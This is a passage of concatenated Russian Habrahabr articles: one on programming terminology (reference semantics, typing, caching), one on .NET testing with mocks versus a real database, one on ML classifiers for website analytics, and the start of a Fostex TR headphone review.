«ссылаться» для более общего применения. Передача по ссылке и по значению К стати, о ссылках. Я уже объяснял это раньше для Python, но напишу здесь ещё раз сокращённую версию. Вся эта дихотомия не имеет смысла в большинстве языков, поскольку ключевой вопрос здесь в том, что же язык С считает значением, и вопрос этот не имеет никакого смысла вне семейства языков, родственных к С. Фундаментальная проблема здесь в том, что С имеет синтаксис для описания структур, но сама семантика языка структур в коде не видит — лишь набор байтов. Структура вроде бы выглядит как контейнер, хороший такой надёжный контейнер: содержимое заключено в фигурные скобки, нужно использовать оператор "." для доступа к внутренним членам. Но для С ваша структура — всего лишь блок бинарных данных, не сильно отличающийся от int, ну разве что немного больший по размеру. Ах, ну да, и ещё можно посмотреть на какую-то отдельную часть данных. Если вы помещаете одну структуру внутрь другой, язык С тупо выделит во внешней структуре блок данных для внутренней. Когда вы присваиваете одну структуру другой — происходит банальное побайтовое копирование, такое же, как при присваивании, например, переменных типа double. Грань иллюзорна. В результате, единственный действительно «настоящий» контейнер в языке С — это указатель! Если вы передаёте структуру в функцию, язык С скопирует её полностью, как и переменную любого другого типа. Если вы хотите, чтобы функция модифицировала структуру, вам необходимо передать в функцию указатель на неё. Если вы хотите передать в функцию очень большую структуру, вам опять-таки нужно использовать указатель в целях повышения производительности. С++ ввёл понятие ссылки, ну как раз на тот случай если вдруг в С с его указателями вам всё было слишком легко и понятно. Теперь вы, как и раньше, можете передать структуру «по значению», но если вызываемая функция принимает ссылку, то вот вы уже передаёте свою структуру «по ссылке» и функция может её модифицировать. Аргумент функции становится алиасом передаваемой в неё переменной, так что даже простые типы вроде int могут быть переписаны. Эту «передачу по ссылке» лучше назвать «передачей по алиасу». Java, Python, Ruby, Lua, JavaScript и многие другие языки оперируют контейнерами как отдельными сущностями. Если у вас есть переменная, внутри которой есть структура и вы присваиваете эту переменную другой переменной, то по факту никакого копирования не происходит. Просто теперь обе переменные ссылаются… нет, не ссылаются, указывают...(нет, не указывают)… И вот она — проблема терминологии! Когда кто-нибудь спросит, передаёт ли язык Х параметры по значению или по ссылке — скорее всего этот человек мыслит в терминах модели языка С и представляет все остальные языки как нечто, что должно обязательно так или иначе ложиться на эту фундаментальную модель. Если я скажу «обе переменные ссылаются», то можно подумать, что речь идёт о С++ ссылках (алиасинге). Если я скажу «обе переменные указывают», то можно решить, что речь идёт об указателях в стиле С. Во многих случаях в языке может не быть ни первого, ни второго. Но в английском языке нет других слов для выражения того, о чём мы хотим сказать. Семантически языки ведут себя так, как будто содержимое переменных (их значения) существуют сами по себе, в некотором абстрактном мире, а переменные — это просто имена. Присваивание связывает имя со значением. Заманчиво объяснять это новичкам как «теперь а указывает на b» или «теперь они ссылаются на одит и тот же объект», но эти объяснения добавляют косвенность, которой на самом деле в языке не существует. а и b просто оба именуют один и тот же объект. Вызов функции в данном случае является формой присваивания, ведь аргументы внутри функции теперь именуют те же значения, которые вызывающий код передал в функцию. Вы можете модифицировать их — и вызывающий код увидит результат этих модификаций, поскольку он ведь тоже именует те самые значения. Внутри вызываемой функции вы не можете переприсвоить переменные: переменная в данном случае — не алиас, присвоение ей какого-либо значения лишь приведет к связыванию её имени (внутри функции) с новым значением, но никак не повлияет на переменные в вызывающем коде. Всё это несколько выходит за рамки классических «передачи по ссылке» и «передачи по значению». Здесь вообще нет устоявшейся терминологии, я слышал, как это называют передачей объектов, передачей по имени, передачей дележом. В принципе, передачу по ссылке в стиле С++ тоже можно реализовать и в других языках (как я упоминал, PHP умеет передавать по алиасам, используя синтаксис ссылок С++). Но передача по алиасам существует лишь как альтернатива передаче по значению, а передача по значению существует, потому, что в низкоуровневом С полвека назад ничего другого реализовать было невозможно. Всё, что вы можете сделать передачей по значению, вы можете сделать также передачей по имени с последующим явным копированием. А ещё чаще всего такие вещи делаются ради возможности вернуть из функции несколько значений, что в высокоуровневых языках можно сделать массой других способов. Свободная типизация Это, конечно, вопрос интерпретации, но лично я уверен, что такой штуки как «свободная типизация» не существует. По крайней мере, я не слышал ни одного конкретного определения для этого термина. Я напомню: Есть сильная типизация, которая означает, что переменная не меняет свой тип чтобы «подстроиться» под те операции, которые код хочет с ней сделать. Rust — язык с сильной типизацией, сравнение 32-битного и 64-битного целых значений вызовет ошибку. Есть слабая типизация, которая означает, что переменная может изменить свой тип ради того, чтобы подойти к вычисляемому выражению. JavaScript — слабо типизированный язык, в нём 5 + «3» неявно сконвертирует строку в число и выражение даст результат 8 (шучу-шучу, результат будет, конечно же, «53»). Также слабо типизированным является С: вы можете просто взять и присвоить переменной типа int значение «3» и получить хоть и чудаковатый, но вполне компилирующийся код. Есть статическая типизация, которая означает, что тип переменной известен на этапе компияции. Java — язык со статической типизацией. Вы только посмотрите на любой Java-код — такое впечатление, что он на 70% состоит из одних только названий используемых типов. Есть динамическая типизация, которая означает, что тип переменной определяется по ходу выполнения программы. Ruby — язык с динамической типизацией, типы определяются на этапе выполнения. Понятия «сильной» и «слабой» типизации создают гармоничную картину мира. «Статическая» и «динамическая» типизации тоже понятны и взаимодополняемы. Языки могут иметь в себе элементы и сильной и слабой типизации, так же как статической и динамической, хотя какая-то одна позиция всё-же является превалирующей. Например, хотя язык Go считается статически-типизируемым, interface{} в нём имеет признаки динамической типизации. И наоборот, Python формально статически-типизированный и каждая переменная имеет тип object, но удачи вам с этим. Поскольку отношение «сильной»\«слабой» типизации касается значений переменных, а «статической»\«динамической» касается их имён, все четыре комбинации существуют. Haskell сильный и статический, С слабый и статический, Python сильный и динамический, Shell слабый и динамический. Что же тогда такое «свободная типизация»? Кто-то говорит, что это аналог «слабой», но многие люди называют «свободно типизируемым» Python, хотя Python относится к языкам с сильной типизацией. (По меньшей мере, сильнее, чем С!). И, поскольку термин «свободно типизируемый» я в основном встречаю в уничижительном смысле, могу предположить, что люди имеют в виду «не так типизируемый, как это происходит в С++». Тут, надо отметить, что чья бы корова мычала, а С++ помалкивал бы. Система типов С++ далеко не без изъянов. Какой, например, будет тип у указателя на тип T? Нет, это не T*, поскольку ему можно присвоить нулевой указатель (а это совсем не указатель на переменную типа T) или случайный мусор (что тоже вряд ли будет указателем на переменную типа Т). Какой смысл гордиться статической типизацией, если переменные некоторого типа по факту могут не содержать в себе значение данного типа? Кэширование С кэшированием дела обстоят смешнее всего, и ведь это даже не фича какого-то одного языка, а общеизвестная концепция. Кэширование сохраняет результаты некоторых вычислений, избавляя от необходимости повторять их позже. Классическая оптимизация, а вернее обмен памяти на скорость. Я считаю, что важнейшим свойством кэширования является то, что при очистке кэша, его уничтожении или недоступности данных в нём по какой-либо другой причине — всё продолжает работать как и раньше, разве что немного медленнее. И я повсеместно вижу программистов и код, которые называют кэшом вообще любое сохранение данных для повторного использования. Это очень путает. Хорошим примером может служить один пример кода, который часто встречался мне в проектах на Python. Впервые я обратил внимание на него в проекте Pyramid , где эта фича называлась reify. Она выполняла ленивую инициализацию аттрибута объекта, как-то так: class Monster: def think(self): # do something smart @reify def inventory(self): return [] Здесь monster.inventory на самом деле не сущесвует пока вы не попробуете прочитать его. В этот момент вызывается reify (всего лишь один раз) и список, который она возвращает, становится аттрибутом. Всё абсолютно прозрачно, как только значение создано, это обычный аттрибут без каких-либо последующих накладных затрат на непрямой доступ. Вы можете добавить в него что-то, и вы будете видеть один и тот же результат при каждом доступе. Аттрибут не существовал пока вы не призвали его к жизни попыткой посмотреть на него. Такой подход может иметь смысл для объектов, которые описывают несколько связанных, но всё же отдельных аспектов некоторой сущности (и по какой-то причине всё это не получается разделить на отдельные классы). Если инициализация некоторой части такого объекта может занимать длительное время и её существование не обязательно для работы остальных частей объекта — вполне разумно использовать ленивую инициализацию, чтобы создать требуемый компонент лишь при его явной необходимости. reify длительное время не был представлен в репозиториии PyPI в качестве отдельного компонента. Наверное, потому, что его можно реализовать с нуля в десяток строк. Когда я говорил о том, что видел reify во многих проектах, я имел в виду «многие проекты скопипастили или написали на коленке реализацию reify». И вот, наконец, данный компонент был добавлен в репозиторий под именем… cached-property . Документация даже показывала как можно «инвалидировать кэш» — порчей внутреннего состояния объекта. Большая проблема, которую я вижу здесь, это то, что буквально абсолютно каждое использование данного декоратора, которое я видел, не было кэшем в его классическом понимании. Пример выше несколько простоват, но даже для него «инвалидация» кэша приведёт к необратимым последствиям — мы полностью потеряем состояние Monster.inventory. Реальные применения @reify часто открывают файлы или соединения с базой данных, и в этих случаях «инвалидация» будет равнозначна уничтожению данных. Это совершенно не кэш, потеря которого должна лишь замедлить работу, но не испортить данные в памяти или на диске. Да, с помощью @reify можно создать и кэш. А ешё его можно создать с помощью dict и разными другими способами тоже. Я пробовал выдвинуть предложение о переименовании cached-property в reify на ранней стадии появления данного компонента в репозитории (это было важно, особенно учитывая желание автора добавить его в стандартную библиотеку языка) — но никому не понравилось название reify и разговор быстро перешел к обсуждению и критике других альтернативных названий. Так что именование сущностей — действительно важнейшая проблема в компьютерных науках.
https://habrahabr.ru/company/infopulse/blog/318618/
habrahabr
Что-то не то с тестированием в .NET (Java и т.д.)
['.net', 'test', 'development', 'database', 'тестирование', 'тест']
Все хотят писать тесты, но мало кто это делает. На мой взгляд причина в существующих рекомендациях и практиках. Большинство усилий при тестировании бизнес-приложений прикладывается к работе с базой...
Все хотят писать тесты, но мало кто это делает. На мой взгляд причина в существующих рекомендациях и практиках. Большинство усилий при тестировании бизнес-приложений прикладывается к работе с базой данных, это важная часть системы, которая очень тесно связана с основным кодом. Есть два принципиально разных подхода: абстрагировать логику от базы данных или подготавливать реальную базу для каждого теста. Если ваш язык программирования строго-типизированный и в нем есть интерфейсы — почти наверняка вы будете работать с абстракциями. В динамических языках разработчики предпочитают работать с реальной базой. В .net интерфейсы есть, а значит выбор очевиден. Я взял пример из замечательной книги Марка Симана “Внедрение зависимостей в .Net”, чтобы показать некоторые проблемы, которые есть в данном подходе. Необходимо отобразить простой список рекомендуемых товаров, если список просматривает привилегированный пользователь, то цена всех товаров должна быть снижена на 5 процентов. Реализуем самым простым способом: public class ProductService { private readonly DatabaseContext _db = new DatabaseContext(); public List<Product> GetFeaturedProducts(bool isCustomerPreffered) { var discount = isCustomerPreffered ? 0.95m : 1; var products = _db.Products.Where(x => x.IsFeatured); return products.Select(p => new Product { Id = p.Id, Name = p.Name, UnitPrice = p.UnitPrice * discount }).ToList(); } } Чтобы протестировать этот метод нужно убрать зависимость от базы — создадим интерфейс и репозиторий: public interface IProductRepository { IEnumerable<Product> GetFeaturedProducts(); } public class ProductRepository : IProductRepository { private readonly DatabaseContext _db = new DatabaseContext(); public IEnumerable<Product> GetFeaturedProducts() { return _db.Products.Where(x => x.IsFeatured); } } Изменим сервис, чтобы он использовал их: public class ProductService { IProductRepository _productRepository; public ProductService(IProductRepository productRepository) { _productRepository = productRepository; } public List<Product> GetFeaturedProducts(bool isCustomerPreffered) { var discount = isCustomerPreffered ? 0.95m : 1; var products = _productRepository.GetFeaturedProducts(); return products.Select(p => new Product { Id = p.Id, Name = p.Name, UnitPrice = p.UnitPrice * discount }).ToList(); } } Все готово для написания теста. Используем mock для создания тестового сценария и проверим, что все работает как ожидается: [Test] public void IsPrefferedUserGetDiscount() { var mock = new Mock<IProductRepository>(); mock.Setup(f => f.GetFeaturedProducts()).Returns(new[] { new Product { Id = 1, Name = "Pen", IsFeatured = true, UnitPrice = 50} }); var service = new ProductService(mock.Object); var products = service.GetFeaturedProducts(true); Assert.AreEqual(47.5, products.First().UnitPrice); } Выглядит просто замечательно, что же тут не так? На мой взгляд… практически все. Сложность и разделение логики Даже такой простой пример стал сложнее и разделился на две части. Но эти части очень тесно связаны и такое разделение только увеличивает когнитивную нагрузку при чтении и отладки кода. Множество сущностей и трудоемкость Этот подход генерирует большое количество дополнительных сущностей, которые появились только из-за самого подхода к тестам. К тому же это достаточно трудоемко, как при написании нового кода, так и при попытке протестировать существующий код. Dependency Injection Позитивным побочным эффектом мы получили уменьшение связности кода и улучшили архитектуру. На самом деле скорее всего нет. Все действия были продиктованы желанием избавиться от базы, а не улучшением архитектуры и понятности кода. Так как база данных очень сильно связана с логикой, не уверен, что это приведет к улучшению архитектуры. Это настоящий карго культ — добавить интерфейсы и считать, что архитектура улучшилась. Протестирована только половина Это самая серьезная проблема — не протестирован репозиторий. Все тесты проходят, но приложение может работать не корректно (из-за внешних ключей, тригеров или ошибках в самих репозиториях). То есть нужно писать еще и тесты для репозиториев? Не слишком ли уже много возни, ради одного метода? К тому же репозиторий все равно придется абстрагировать от реальной базы и все что мы проверим, как хорошо, он работает с ORM библиотекой. Mock Выглядят здорово пока все просто, выглядят ужасно когда все сложно. Если код сложный и выглядит ужасно, его никто не будет поддерживать. Если вы не поддерживаете тесты, то у вас нет тестов. Подготовка окружения для тестов это самая важная часть и она должна быть простой, понятной и легко поддерживаемой. Абстракции протекают Если вы спрятали свою ORM за интерфейс, то с одной стороны, она не использует всех своих возможностей, а с другой ее возможности могут протечь и сыграть злую шутку. Это касается подгрузки связанных моделей, сохранение контекста … и т.д. Как видите довольно много проблем с этим подходом. А что насчет второго, с реально базой? Мне кажется он намного лучше. Мы не меняем начальную реализацию ProductService. Тестовый фреймворк для каждого теста предоставляет чистую базу данных, в которую необходимо вставить данные необходимые для проверки сервиса: [Test] public void IsPrefferedUserGetDiscount() { using (var db = new DatabaseContext()) { db.Products.Add(new Product { Id = 1, Name = "Pen", IsFeatured = true, UnitPrice = 50}); db.SaveChanges(); }; var products = new ProductService().GetFeaturedProducts(true); Assert.AreEqual(47.5, products.First().UnitPrice); } Нет моков, нет разделения логики и протестирована работа с настоящей базой. Такой подход значительно удобнее и понятнее, и к таким тестам больше доверия, что все на самом деле работает как нужно. Тем не менее, есть небольшая проблема. Настоящая система имеет множество зависимостей в таблицах, необходимо заполнить несколько других таблиц только для вставки одной строки в Продукты. Например, Продукты могут требовать Производителя, а он в свою очередь Страну. Для этого есть решение: начальные «фикстуры» — текстовые файлы (чаще всего в json), содержащие начальный минимальный набор данных. Большим минусом такого решения является необходимость поддерживать эти файлы вручную (изменения в структуре данных, связь начальных данных друг с другом и с кодом тестов). При правильном подходе тестирование с реальной базой на порядок проще абстрагирования. А самое главное, что упрощается код сервисов, меньше лишнего бойлерплейт кода. В следующей статье, я расскажу как мы организовали тестовый фреймворк и применили несколько улучшений (например, к фикстурам).
https://habrahabr.ru/post/318642/
habrahabr
Классификаторы: анализ активности посетителей сайтов
['статистика', 'машинное обучение', 'Random forest', 'Gradient Boosting', 'Neural network']
1. Вступление Данная заметка рассказывает о некоторых аспектах практического применения классификаторов в системах анализа активности посетителей сайтов. Показаны примеры кода для задач машинного...
1. Вступление Данная заметка рассказывает о некоторых аспектах практического применения классификаторов в системах анализа активности посетителей сайтов. Показаны примеры кода для задач машинного обучения, которые активно применяются как для глобального анализа статистики в интернет, так и для локальных задач классификации поведенческих факторов на крупных порталах. 2. Некоторые методы теории вероятностей Основная проблема состоит в том факте, что при стохастических процессах (активность посетителей сайтов) невозможно заранее выявить значение случайной величины. Однако, мы сможем оценить вероятность каждого из значений. Более того, используя методы машинного обучения мы сможем понять причины, по которым та или иная случайная величина приняла своё значение. Бывают стохастических процессы с весьма остро выраженной закономерностью, например, наблюдатель зафиксировал несколько тысяч испытаний. Предположим, что за весь длительный период наблюдений было выявлено, что случайная величина принимала только четыре возможных значения с равным распределением. Логично предположить, что количество одного из этих значений будет примерно в четыре раза меньше количества всех. И наоборот: умножив количество значений из одной группы на четыре мы получим примерное количество всех объектов. По аналогии можно выявлять (по методу Монте-Карло) приблизительную площадь сложных фигур, если известно количество попаданий по ней точки, общее количество случайных точек и площадь пространства, в которое вписана сложная фигура. Интуитивно будет ощущаться, что если разделить количество попаданий в сложную фигуру на всё количество точек, то это и будет примерная часть, занимаемая фигурой в пространстве. Более того, это также будет вероятностью попадания точки в эту сложную фигуру. Рассмотрим упрощённый пример. Пусть на огромном новостном портале есть четыре основные темы. Некие пользователи заходят на сайт и смотрят строго только одну из тем. Распределение между ними равное, т.е. равная вероятность, что будет просмотрена тема одного из кластеров. Но точная позиция новой точки заранее не известна, а известно только то, что она обязательно появится в одном из этих кластеров (центроиды показаны в виде больших зелёных точек): Невозможно, чтобы была просмотрена несуществующая тема (как её посмотреть, если её нет?), т.е. её вероятность равна нулю. Любая точка принадлежит только этому пространству. Вероятность попадания в конкретный кластер равна 1/4. Вероятность попадания хотя бы в один из кластеров будет равна 1 (сумма вероятностей всех событий), так как точка обязательно попадает в один из них. Вероятность того, что точки несколько раз подряд попадут в один кластер равна произведению вероятностей этих событий. Это можно увидеть экспериментально и формально записать как: А вот для нормального распределения используется несколько отличная тактика прогноза. Необходимо выявить среднее значение. Именно оно и будет самым вероятным. Далее привожу два визуальных отображения равновероятного распределения и нормального распределения. Чтобы понять силу разброса необходимо выявить дисперсию (или квадратный корень из неё, который называют среднеквадратическим отклонением и обозначают греческой буквой сигма). Для прогнозирования значения дискретной случайной величины это весьма важный показатель, так как большинство значений (если это нормальное распределение) находятся в пределах сигмы. Другими словами: если при нормальном распределении мы будем ожидать среднее арифметическое (оно равно математическому ожиданию), а допустимая ошибка (неточность или погрешность) составит хотя бы около одной сигмы, то в большинстве случаев (около 68%) мы будем успешно угадывать. Визуально отобразим случайную величину с разным уровнем дисперсии: вначале дисперсия небольшая, а потом явно увеличивается. Для удобства визуального восприятия также увеличено и математическое ожидание. Так как речь идёт о дискретных случайных величинах, то допустимо использовать формулу среднего арифметического значения вместо формулы математического ожидания. По упомянутой причине можно использовать показанную внизу слева формулу, чтобы не вычислять сумму квадрата значения, умноженного их на вероятность, а потом вычитать из суммы этих произведений математическое ожидание, возведённое в квадрат. Привожу функцию нормального распределения и необходимые для неё переменные (формулы для их вычисления): Но не всегда всё так предсказуемо. Естественно, вероятность случайной величины может меняться. Далеко не во всех процессах будет наблюдаться распределение по закону Гаусса или равновероятное распределение. Весьма часто можно зафиксировать изменения вероятности со временем, т.е. некоторые метрики могут непредсказуемым образом менять свои значения, что явным образом будет сказываться на вероятности. Пример изменения значений, в котором две метрики неравномерно растут, а одна после роста возвращается к исходному значению: Следовательно, в ряде процессов результаты (появление точки) могут быть распределены не равномерно. Очевидно, что в следующем примере облако нельзя назвать равномерно распределённым в пространстве. Для наглядности также привожу его контуры: В анализе большого числа данных с разными распределениями нам поможет машинное обучение. У каждого наблюдения будет большой вектор признаков. Например, при диагностике ОРВИ часто используют такой показатель, как температура тела. Его очень легко объективно измерить с помощью соответствующего прибора. Очевидно, что если посмотреть описательную статистику температуры тела двух групп людей (здоров и с ОРВИ), то будет достаточно легко понять различия по этому показателю. Разумеется, одной метрики будет недостаточно, так как симптом повышенной температуры может возникать (или отсутствовать) и при множестве других болезней. Следовательно, нам необходимо объективно замерить огромный список показателей (вектор предикторов). Каждый вектор должен иметь метку: здоров или болен. Это общий принцип подготовки данных для тех методов машинного обучения, о которых сейчас пойдёт речь. 3. Предварительное исследование Предварительный этап анализа далеко не всегда требует задействования серверов в дата-центре, следовательно, его выполняют на локальных компьютерах. Одними из самых популярных инструментов анализа данных являются языки программирования R и Python (в сочетании с Jupyter, Pandas, NumPy и SciPy). Они обладают богатыми наборами уже реализованных математических функций и средств для визуализации информации. На этапе предварительного исследования необходимо собрать нужную для классификации информацию. Это всегда вектор признаков, т.е. чисел (обычно тип данных Double). На этом этапе выбираются методы сбора и действия в случае невозможности получить значение (иногда допустимо заменять пропущенные значения средним арифметическим или медианой). Метрика (предиктор) должна быть таким числом, которое объективно отражает суть этой части явление. Такая метрика измерима, а сами измерения воспроизводимы (любой человек с исправным устройством измерений может повторить эксперимент и получить примерно такие же показатели). Интуитивно ожидается, что чем сильнее будет разница между значениями метрики в разных группах, тем проще будет классифицировать. В самом идеальном случае они не пересекаются (максимум одного явно меньше минимума другого). На этом этапе также могут потребоваться дополнительные проверки. Они реализуются с помощью весьма большого количества сторонних библиотек и программных продуктов. Иногда бывает забавно наблюдать за количеством импортируемых модулей, особенно разного на первый взгляд назначения (вроде Mystem и Selenium). Вполне логично, что можно производить различные эксперименты, которые подтверждают или опровергают гипотезу. Разделять на группы и под тщательным контролем воспроизводить условия и ожидать изменения метрик соответствующим образом. Если говорить о специфике систем анализа поведенческих факторов, то логика их работы подразумевает, что собранные данные уже прошли чистку и валидацию. В идеале само приложение должно отвечать за качество сбора данных. Остаётся только разметить (для каждого вектора пометить класс, к которому он относится). Не исключено, что приложение уже разметило данные (допустим, в базе данных уже есть запись, которая и станет меткой: купил или не купил товар). Разумеется, это необходимо для того, чтобы в дальнейшем прогнозировать вероятность этого события или выявить наиболее важные предикторы. Достаточно часто данные хранят в обычных текстовых файлах формата CSV или libsvm. Это позволяет удобно обрабатывать их с помощью R и Python (Pandas, NumPy). В некоторых случаях необходимо поместить их в базу данных. А в отдельных случаях могут потребоваться распределённые вычисления. На огромных порталах и в глобальных статистических системах получается весьма большая матрица. Тут возникает вопрос выбора системы для хранения огромного числа наблюдений в весьма широкой таблице (очень много кортежей с большим числом атрибутов). Скорее всего, есть смысл обратить внимание на специализированные аналитические решения, которые обладают огромной скоростью обработки. Применение таких технологий как ClickHouse (аналитическая система управления базами данных) позволяет предварительно проанализировать некоторые важные показатели и подготовить сами данные. И речь сейчас не просто о высокой производительности, но и о ряде полезных функций для работы со статистикой, а также дополнительных возможностях, например, возможности выбора формата экспорта данных (включая JSON и XML) или ответ прямо в браузере после get-запроса ( http://localhost:8123/?query=Q ), где вместо Q следующее выражение на SQL: SELECT page, COUNT() AS views, uniqCombined(uuid) AS users FROM example.page_views GROUP BY page FORMAT CSVWithNames; Подготовка и проверка данных — это очень серьёзный процесс, ему уделяют огромное внимание. После нескольких исследовательских запросов начинается выбор алгоритмов машинного обучения и более детальный анализ выборки упомянутыми ранее инструментами. Даже на этапе подбора наиболее подходящих алгоритмов классификации продолжается проверка исходных данных и попытка найти новые предикторы. Во всяком случае, очень многие «чудеса классификации» легко объясняются парочкой упущенных или зашумлённых предикторов. В ряде случаев можно даже создать массив классификаторов и проанализировать правильность работы каждого из них с соответствующими параметрами: import pylab import pandas as pd import numpy as np import xgboost as xgb import matplotlib.pyplot as plt from sklearn.cluster import KMeans from mpl_toolkits.mplot3d import Axes3D from sklearn.linear_model import SGDClassifier from sklearn.neural_network import MLPClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.ensemble import GradientBoostingClassifier from sklearn.linear_model import LogisticRegression from sklearn.tree import DecisionTreeClassifier from sklearn.svm import SVC from sklearn.metrics import accuracy_score from IPython.core.display import display, HTML # # Список классификаторов # classifiers = [ LogisticRegression(max_iter=200, penalty="l2"), SGDClassifier(loss="hinge", penalty="l2"), MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(3, 4)), RandomForestClassifier(n_estimators=60, max_depth=5), GradientBoostingClassifier(n_estimators=180, learning_rate=1.0, max_depth=4), DecisionTreeClassifier(), SVC(), ] # # Тренировка и оценка точности # result = [] for classifier in classifiers: classifier.fit(features, classes) report = accuracy_score(testClasses, classifier.predict(testFeatures)) result.append({'class' : classifier.__class__.__name__, 'accuracy' : report}) display(HTML('<h2>Result</h2>')) display(pd.DataFrame(result)) # # Исследуем уровень важности предикторов # model = xgb.XGBClassifier() model.fit(features, classes) pylab.rcParams['figure.figsize'] = 3, 3 plt.style.use('ggplot') pd.Series(model.feature_importances_).plot(kind='bar') plt.title('Feature Importances') plt.show() Как можно заметить, основные алгоритмы классификации уже реализованы в популярных библиотеках, что позволяет очень просто и быстро их задействовать буквально несколькими строками кода. Кроме этого, очень полезно у некоторых моделей посмотреть диаграмму уровня значимости предикторов с помощью подходящих для этого классификаторов (таких как: RandomForestClassifier, GradientBoostingClassifier, XGBClassifier). Весьма удобно выполнять и другие типы анализа и визуализации данных, например, кластерный анализ: import pylab import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.cluster import KMeans from mpl_toolkits.mplot3d import Axes3D centroids = KMeans(n_clusters=4, random_state=0).fit(features).cluster_centers_ ax = Axes3D(pylab.figure()) ax.scatter(features[:, 0], features[:, 1], features[:, 2], c='blue', marker='p', s=8) ax.scatter(centroids[:, 0], centroids[:, 1], centroids[:, 2], c='g', marker='o', s=80) plt.show() 4. Создание готовой модели После того, как на локальной системе был выбран подходящий алгоритм с нужными параметрами, начинается подготовка распределённых вычислений, задача которых заранее предсказать класс события. Это может быть не просто бинарная классификация (случится событие или нет), но и многоклассовая классификация. Для таких задач распределённых вычислений часто используют Apache Spark (примеры показаны на Scala для версии 2.0.2). Разумеется, первые пробные запуски также требуют очень тщательную проверку выбранного решения на новых данных: import org.apache.spark.ml.classification.MultilayerPerceptronClassifier import org.apache.spark.ml.evaluation.MulticlassClassificationEvaluator val train = spark.read.format("libsvm").load(file) val test = spark.read.format("libsvm").load(fileTest) val trainer = new MultilayerPerceptronClassifier().setLayers(Array[Int](3, 5, 4, 4)).setBlockSize(128).setSeed(1234L).setMaxIter(100) val result = trainer.fit(train).transform(test) val predictionAndLabels = result.select("prediction", "label") val evaluator = new MulticlassClassificationEvaluator() evaluator.setMetricName("accuracy").evaluate(predictionAndLabels) По окончанию процесса проверки и настройки, финальная версия алгоритма машинного обучения приступает к своей работе. Она размечает огромные массивы данных, а результаты отображаются в удобном для пользователя интерфейсе. За визуализацию отвечает отдельное приложение (часто это веб-риложение или часть портала). Как правило, приложение ничего не знает о системе анализа, а связана с ней только импортом в базу данных или через API. По моему личному опыту для отдельного отображающего приложения обычно используется известный стек технологий (PHP7, Yii 2, Laravel, MySQL, Redis, Memcached, RabbitMQ) для backend и набор библиотек для визуального представления (например, Chart.js и множество иных). Таким образом, мы взглянули на основные шаги создания системы анализа поведенческих факторов. По аналогичному принципу работают и системы для классификации других наборов данных. Самыми основными шагами можно назвать сбор правильных метрик в пригодном формате (как говорят, «развернуть в вектор») и выбор подходящего алгоритма с нужными параметрами. Разумеется, критически важно проверить правильность работы классификатора. Пользуясь случаем (учитывая сегодняшнюю дату) заранее поздравляю уважаемых читателей с наступающим новым годом и абсолютно искренни желаю счастья и успехов во всех сферах жизни.
https://habrahabr.ru/post/318644/
habrahabr
Сопротивление небесполезно: линейка наушников Fostex TR
['Fostex', 'TR-70', 'TR-80', 'TR-90', 'наушники', 'звук']
Привет, Гиктаймс! В мире звука немало известных имен, однако, «золотая десятка» остаётся неизменной уже несколько лет. Истинные ценители назовут ее представителей без особого труда, одним из...
Привет, Гиктаймс! В мире звука немало известных имен, однако, «золотая десятка» остаётся неизменной уже несколько лет. Истинные ценители назовут ее представителей без особого труда, одним из которых является Fostex — компания с 40-летней историей, специализирующаяся на производстве профессионального звукового оборудования. Мы уже знакомились с ее премиальным устройством — Fostex TH-610 , но сегодня решили рассказать о более доступной линейке устройств компании, которая, несмотря на это, заслуживает место как в студиях звукозаписи, так и на офисном или домашнем столе. Новая серия профессиональных динамических наушников под названием TR была представлена в этом году и горячо принята не только поклонниками девайсов Fostex, но и аудиофилами со всего мира. Линейка состоит из трех моделей: TR-70 (открытые), TR-80 (закрытые) и TR-90 (полуоткрытые), которые отличаются акустическим оформлением. При этом каждая представлена в двух вариантах: с импедансом — 80 и 250 Ом. Вообще, не каждый производитель аудиотехники может похвастаться такой историей, как у Fostex. Изначально компания создавалась как дочерняя Foster Electric Company аж в 1973 году, причем ориентирована была преимущественно на японский рынок. Ценителей звука в этой стране хватает, причем иногда аудиофилия граничит с сумасшествием: так, например, японец Такео Морита утверждал, что «плохое электричество» негативно влияет на качество его мелодий. Взял и в этом году установил уличный столб электропередач примерно за $10000 со своим собственным трансформатором. Тёплым ламповым, естественно :) Именно Fostex в 1975 году запатентовала Regular Phase — особую технологию производства диафрагм, с которой становится возможным излучение звуковых волн без изменения фазы. Технология активно развивается, и буквально через пару лет компания представляет миру одну из своих легендарных линеек — T10, T20, T30 и T50. Новинки быстро стали популярны среди профессиональных музыкантов: T20 особенно любил сам Майкл Джексон, для которого они оказались единственными наушниками, способными выдержать нужную исполнителю громкость воспроизведения. Теперь, спустя много лет, Fostex не перестает радовать новыми шедеврами в мире звука, которые благодаря использованию современных технологий, стали доступнее без ущерба звуковым характеристикам. И линейка TR — как раз серьезная заявка на успех: корпуса чашек, 40-миллиметровые динамики и другие элементы наушников были разработаны полностью с нуля. Разработчиками была проделана колоссальная работа по оптимизации — они стремились не просто сделать хороший продукт, а добиться «наивысшего качества звука», как утверждает производитель. При этом наушники должны быть максимально комфортными при носке. Один из приятных бонусов серии TR — все три модели наушников комплектуются двумя парами сменных амбушюр: одна пара стандартной толщины, другая — утолщенная. Помимо этого, в комплекте с Fostex TR-70, TR-80 и TR-90 идут два съемных кабеля (прямой и витой) длиной три метра каждый с позолоченными штекерами типа миниджек, хотя в комплекте также идёт переходник на 6,3 мм. Характеристики Fostex TR-70, TR-80 и TR-90 Fostex TR-70 Fostex TR-80 Fostex TR-90 Тип наушников Динамические Динамические Динамические Акустическое оформление Открытые Закрытые Полуоткрытые Диаметр мембраны 40 мм 40 мм 40 мм Сопротивление 80 Ом / 250 Ом 80 Ом / 250 Ом 80 Ом / 250 Ом Чувствительность 93 дБ/мВт 90-96 дБ/мВт 90-92 дБ/мВт Диапазон частот 5 — 35.000 Гц 5 — 35.000 Гц 5 — 35.000 Гц Максимальная входная мощность 100 мВт 100 мВт 100 мВт Вес 298 г / 304 г 292 г / 298 г 302 г / 308 г Длина кабеля Прямой и витой, 3 м Прямой и витой, 3 м Прямой и витой, 3 м Штекер 3,5 мм + переходник 6,3 мм 3,5 мм + переходник 6,3 мм 3,5 мм + переходник 6,3 мм Производитель позиционирует Fostex TR-90 как старшую модель линейки. Полуоткрытое акустическое оформление обеспечивает высокий уровень насыщенности звука, а также отличную детализацию. Fostex TR-80, напротив, динамические наушники закрытого типа, отличающиеся хорошо сбалансированными частотами и превосходным звучанием. Младшей, но не по значению, является TR-70 — открытое акустическое оформление и естественный звук. Комплектация Невзрачная на первый 